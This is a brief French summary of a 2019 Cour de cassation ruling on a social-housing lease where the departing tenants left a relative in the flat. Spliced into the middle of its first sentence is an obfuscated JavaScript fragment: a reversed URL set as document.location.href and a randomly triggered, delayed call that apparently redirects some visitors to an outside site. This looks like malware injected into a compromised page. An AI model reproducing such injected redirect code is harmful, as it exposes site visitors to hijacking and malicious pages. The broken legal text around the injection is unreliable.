Cass., Civ., 3ème, 6 juin 2019(n°18-15978) Dans cette affaire, un bailleur HLM a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné à bail un logement à un couple qui a déménagé, en laissant un membre de sa famille, Mme I, dans les lieux. La Cour de cassation approuve l’arrêt de la…
